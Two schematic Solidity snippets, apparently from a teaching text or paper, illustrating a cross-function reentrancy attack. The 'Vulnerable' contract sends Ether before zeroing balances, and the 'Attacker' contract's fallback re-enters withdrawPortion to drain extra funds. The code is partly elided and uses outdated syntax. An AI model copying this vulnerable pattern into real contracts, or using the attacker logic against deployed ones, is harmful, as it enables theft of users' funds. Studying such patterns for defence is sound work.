

```
1. contract Vulnerable {
2.   ...
3.   function withdrawAll(address to) external {
4.     uint amount = userBalances[msg.sender];
5.     if (userBalances[msg.sender] > 0) {
6.       require(msg.sender.call.value(amount));
7.       userBalances[msg.sender] = 0;
8.     }
9.   }
10.  function withdrawPortion(uint amount) external {
11.    if (userBalances[msg.sender] >= amount) {
12.      require(msg.sender.call.value(amount));
13.      userBalances[msg.sender] -= amount
14.    }
15.  }
```

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```
1. contract Attacker {
2.   ...
3.   function Attacker() {
4.     _owner = msg.sender;
5.   }
6.   function attack(){
7.     vul. withdrawAll(_owner);
8.   }
9.   function () payable {
10.    count++;
11.    if (count < 10)
12.      vul. withdrawPortion(1 Ether);
13.   }
14. }
15.
```